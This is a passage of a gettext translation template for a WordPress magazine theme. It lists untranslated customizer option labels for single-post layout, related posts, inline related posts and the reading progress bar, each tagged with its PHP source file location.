"3:2 . This option not apply when enable parallax images. This feature does "
"not apply for Single Style 1 & 2"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:325
msgid "Align Left Post Categories, Post Title, Post Meta"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:332
msgid "Remove Letter Spacing on Post Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:353
msgid "Show Updated Author"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:354
msgid ""
"If a post is created by one author and then edited and updated by another "
"author, this option will allow you to display both authors in the post's "
"meta data."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:368
msgid "Display Published Date & Modified Date"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:369
msgid ""
"Note that: If Published Date and Modified Date is the same - will be display "
"Published date only. And if you want to display Modified date only - check "
"option for it via Customize > General > General Settings > Display Modified "
"Date Replace with Published Date"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:397
msgid "Enable Font Size Adjustment"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:404
msgid "Enable ajax Post View Count"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:406
msgid "Use to count posts viewed when you using cache plugin."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:412
msgid "Enable Caption on Featured Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:414
msgid "If your featured image has a caption, it will display on featured image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:420
msgid "Enable Caption on Slider of Gallery Post Format"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:427
msgid "Move Caption of Images to Below The Images"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:434
msgid "Disable Italic on Caption of Images"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:441
msgid "Blockquote Style:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:455
msgid "Custom Style for Heading 1 Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:459
#: inc/customizer/config/sections/penci_section_spost_general_section.php:475
#: inc/customizer/config/sections/penci_section_spost_general_section.php:491
#: inc/customizer/config/sections/penci_section_spost_general_section.php:507
#: inc/customizer/config/sections/penci_section_spost_general_section.php:523
msgid "Default (No Style)"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:471
msgid "Custom Style for Heading 2 Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:487
msgid "Custom Style for Heading 3 Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:503
msgid "Custom Style for Heading 4 Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:519
msgid "Custom Style for Heading 5 Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:535
msgid "Hide Tags"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:542
msgid "Hide Like Count & Social Share"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:549
msgid "Turn on the Sticky Share"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:556
msgid "Sticky Share Style:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:568
msgid "Sticky Share Position:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:615
msgid "Share Box Position"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:620
msgid "Bellow Post Meta"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:621
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:246
msgid "Above Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:622
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:245
msgid "Below Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:623
msgid "Above & Below Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:624
msgid "Bellow Post Meta & Below Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:630
msgid ""
"Re-order \"Author Box\" - \"Post Navigation\" - \"Related Posts\" - "
"\"Comments\" section"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:635
msgid "Author Box - Post Navigation - Related Posts - Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:636
msgid "Author Box - Post Navigation - Comments - Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:637
msgid "Author Box - Comments - Post Navigation - Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:638
msgid "Author Box - Comments - Related Posts - Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:639
msgid "Author Box - Related Posts - Comments - Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:640
msgid "Author Box - Related Posts - Post Navigation - Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:641
msgid "Post Navigation - Author Box - Related Posts - Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:642
msgid "Post Navigation - Author Box - Comments - Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:643
msgid "Post Navigation - Comments - Author Box - Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:644
msgid "Post Navigation - Comments - Related Posts - Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:645
msgid "Post Navigation - Related Posts - Comments - Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:646
msgid "Post Navigation - Related Posts - Author Box - Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:647
msgid "Related Posts - Author Box - Comments - Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:648
msgid "Related Posts - Author Box - Post Navigation - Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:649
msgid "Related Posts - Comments - Author Box - Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:650
msgid "Related Posts - Comments - Post Navigation - Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:651
msgid "Related Posts - Post Navigation - Author Box - Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:652
msgid "Related Posts - Post Navigation - Comments - Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:653
msgid "Comments - Author Box - Post Navigation - Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:654
msgid "Comments - Author Box - Related Posts - Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:655
msgid "Comments - Post Navigation - Related Posts - Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:656
msgid "Comments - Post Navigation - Author Box - Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:657
msgid "Comments - Related Posts - Author Box - Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:658
msgid "Comments - Related Posts - Post Navigation - Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:664
msgid "Hide Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:671
msgid "Show Email Icon of Author on Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:678
msgid "Disable Uppercase for Author Name on Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:685
#: inc/js_composer/shortcodes/pc_single_author/settings.php:17
#: inc/template-builder/single-elements/author.php:41
msgid "Author Box Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:700
msgid "Author Box Image Type"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:713
msgid "Hide Next/Prev Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:720
msgid "Next/Prev Post Navigation Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:734
msgid "Turn Off Uppercase in Post Title Next/Prev Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:741
msgid "Show Post Thumbnail on Next/Prev Post Navigation"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:742
msgid "This option applies to Post Navigation Style 1"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:749
msgid "Remove Lines Before & After of Heading Title on Related & Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:756
msgid "Disable Gallery Feature from This Theme"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:763
msgid "Default Gallery Style from The Theme"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:767
msgid "Justified Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:768
msgid "Masonry Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:769
msgid "Grid Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:770
msgid "Single Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:771
msgid "Single Slider with Thumbnail"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:778
msgid "Custom the height of images on Justified Gallery style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:797
msgid "Custom Sidebar for Single"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:806
msgid "Custom Sidebar Left for Single"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:808
msgid ""
"If sidebar your choice is empty, will display Main Sidebar. This option just "
"apply when you use 2 sidebars for Single"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:814
msgid "Ads on Single Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:829
msgid "Add Ads/Custom HTML Code Inside Posts Content:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:5
msgid "Inline Related Posts Before/After Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:6
msgid ""
"You can check <a class=\"wp-customizer-link\" href=\"https://imgresources.s3."
"amazonaws.com/inline_related_posts.png\" target=\"_blank\">this image</a> to "
"understand what's Inline Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:13
msgid "Add Inline Related Posts Before/After Post Content?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:14
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:99
msgid ""
"After enabling it, maybe you need to refresh the customize or check on the "
"single post page on the front-end to see how it works."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:19
msgid "Before Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:20
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:46
msgid "After Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:21
msgid "Before & After Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:27
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:131
msgid "Display Inline Related Posts By:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:31
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:135
msgid "Same Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:32
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:136
msgid "Same Tags"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:33
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:137
msgid "Same Primary Category from \"Yoast SEO\" or \"Rank Math\" plugin"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:39
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:143
msgid "Order Inline Related Posts By:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:44
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:148
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:51
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:215
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:267
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:131
#: inc/elementor/base/base-widget.php:1262
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1853
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:120
msgid "Published Date"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:49
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:153
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:56
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:220
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:270
#: inc/elementor/base/base-widget.php:1268
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1859
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:126
msgid "Most Viewed Posts All Time"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:50
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:57
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:222
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:271
msgid "Most Viewed Posts Once Daily"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:51
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:154
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:58
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:221
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:272
#: inc/elementor/base/base-widget.php:1270
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1861
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:128
msgid "Most Viewed Posts Once Weekly"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:52
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:155
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:59
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:223
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:273
#: inc/elementor/base/base-widget.php:1271
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1862
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:129
msgid "Most Viewed Posts Once a Month"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:58
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:161
msgid "Order Inline Related Posts:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:62
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:165
msgid "Descending Order"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:63
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:166
msgid "Ascending  Order"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:69
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:73
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:64
msgid "Select Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:73
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:52
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:52
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:52
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:55
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:555
#: inc/elementor/modules/penci-product/widgets/penci-product.php:230
#: inc/js_composer/shortcodes/latest_tweets/settings.php:26
#: inc/js_composer/shortcodes/product/settings.php:141
#: inc/js_composer/shortcodes/product_tabs/settings.php:89
#: inc/js_composer/shortcodes/simple_list/settings.php:94
msgid "List"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:74
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:51
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:344
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:63
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:51
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:290
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:55
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:183
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:554
#: inc/elementor/modules/penci-product/widgets/penci-product.php:229
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:56
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:168
#: inc/gutenberg/block/portfolio/index.js:40
#: inc/js_composer/shortcodes/product/settings.php:140
#: inc/js_composer/shortcodes/product_brand/settings.php:91
#: inc/js_composer/shortcodes/product_tabs/settings.php:88
#: inc/js_composer/shortcodes/testimonails/settings.php:29
#: inc/js_composer/shortcodes/web_stories/settings.php:96
msgid "Grid"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:80
msgid "Inline Related Posts Float:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:85
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:188
msgid "Float To Left"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:86
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:189
msgid "Float To Right"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:91
msgid "Inline Related Posts Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:98
msgid "Add Inline Related Posts Inside Posts Content?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:112
msgid ""
"Add Inline Related Posts Inside Posts Content After How Many Paragraphs?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:172
msgid "Select Style for Inline Related Posts Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:183
msgid "Select Float for Inline Related Posts Inside Post Content:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:201
msgid "Inline Related Posts Columns for Grid Style:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:202
msgid ""
"This option just applies when you select style is grid and \"Inline Related "
"Posts Float\" is \"None\""
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:206
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:371
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:317
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:98
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:114
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:127
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:172
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:188
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:201
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:68
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:392
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:409
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:116
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:130
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:144
#: inc/js_composer/shortcodes/big_grid/settings.php:70
#: inc/js_composer/shortcodes/big_grid/settings.php:86
#: inc/js_composer/shortcodes/big_grid/settings.php:99
#: inc/js_composer/shortcodes/social_counter/settings.php:216
#: inc/js_composer/shortcodes/social_counter/settings.php:229
#: inc/js_composer/shortcodes/social_counter/settings.php:242
#: inc/widgets/social_counter.php:377 inc/widgets/social_counter.php:389
#: inc/widgets/social_counter.php:402
msgid "1 Column"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:207
msgid "2 Column"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:208
msgid "3 Column"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:214
msgid "How Many Posts You Want to Display?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:234
msgid "Heading Text Align"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:246
msgid "Remove the Line Below the Heading Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:253
msgid "Hide Featured Image on Grid Style?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:260
msgid "Show Featured Image on the Right Side for Grid Style?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:267
#: inc/template-builder/single-elements/featured-overlay.php:295
#: inc/template-builder/single-elements/meta.php:145
msgid "Hide Post Date?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:274
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:195
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:137
#: inc/js_composer/shortcodes/recent_posts/settings.php:190
msgid "Show Post Views?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:292
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:18
msgid "Font Size for Heading Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:379
#: inc/customizer/config/sections/pencidesign_section_fvideo_colors_section.php:4
#: inc/customizer/config/sections/pencidesign_woo_ordercompleted_page_section.php:17
#: inc/js_composer/shortcodes/about_me/settings.php:161
msgid "Heading Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:386
msgid "Color for the Line Below Heading Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:400
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:618
#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:163
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:725
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:323
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:403
#: inc/js_composer/inc/vc-params-helper.php:997
#: inc/js_composer/inc/vc-params-helper.php:1282
#: inc/js_composer/inc/vc-params-helper.php:1508
#: inc/js_composer/inc/vc-params-helper.php:1756
#: inc/js_composer/shortcodes/featured_slider/settings.php:288
#: inc/js_composer/shortcodes/featured_slider/settings.php:349
#: inc/js_composer/shortcodes/news_ticker/settings.php:228
#: inc/js_composer/shortcodes/pc_single_postspagination/settings.php:45
#: inc/js_composer/shortcodes/posts_slider/settings.php:103
#: inc/js_composer/shortcodes/recent_posts/settings.php:272
#: inc/js_composer/shortcodes/small_list/settings.php:572
msgid "Post Title Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_pformats_builder_section.php:32
msgid ""
"This option will override the single post template. You can add new and edit "
"a builder template on <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\""
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_pformats_builder_section.php:34
msgid " Posts Format Template"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_reading_progress_section.php:6
msgid "Enable Reading Progress Bar"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_reading_progress_section.php:13
msgid "Reading Progress Bar Height"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_reading_progress_section.php:30
msgid "Reading Progress Bar Position"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_reading_progress_section.php:44
msgid "Progress Bar Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:6
msgid "Hide Related Posts Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:13
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:80
#: inc/template-builder/single-elements/relatedpost.php:148
msgid "Make Related Posts Display in a Grid Layout ( not Slider )"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:20
msgid "Related Posts Style:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:34
msgid "Display Related Posts By:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:46
msgid "Order Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:65
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:53
#: inc/template-builder/single-elements/relatedpost.php:113
msgid "Sort Order Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:70
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:234
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:112
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:169
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:122
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:329
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:280
#: inc/elementor/modules/penci-product/widgets/penci-product.php:178
#: inc/gutenberg/block/featured-cat/index.js:65
#: inc/js_composer/inc/product_param.php:117
#: inc/js_composer/params/loop/register.php:368
#: inc/js_composer/shortcodes/product/settings.php:120
#: inc/js_composer/shortcodes/product_brand/settings.php:42
msgid "Ascending"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:76
msgid "Words Length for Post Titles on Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:96
msgid "Related Posts Custom Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:103
msgid "Turn Off Uppercase in Post Titles Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:110
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:98
#: inc/template-builder/single-elements/relatedpost.php:172
msgid "Enable Posts Format Icons in Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:117
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:104
#: inc/template-builder/single-elements/relatedpost.php:180
msgid "Hide Post Date on Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:124
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:23
#: inc/template-builder/single-elements/relatedpost.php:59
msgid "Related Posts Carousel Auto Play"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:131
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:86
#: inc/template-builder/single-elements/relatedpost.php:156
msgid "Hide Dots On Carousel Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:138
#: inc/js_composer/shortcodes/pc_single_relatedposts/settings.php:92
#: inc/template-builder/single-elements/relatedpost.php:164
msgid "Enable Next/Prev Button On Carousel Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:145
msgid "Amount of Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:165
msgid "Exclude Featured Category from Related Posts based on Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:167
msgid ""
"Featured Category is category you selected to filter slider via Customize > "
"Featured Slider > General. This option will help you remove that category on "
"related posts based on categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:180
msgid "Enable Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:187
msgid "Position of Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:198
msgid "Display Related Posts Popup By:"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:202
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:140
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:832
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:275
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:316
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:206
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:179
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:194
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:130
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:100
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:518
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:373
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:66
#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:58
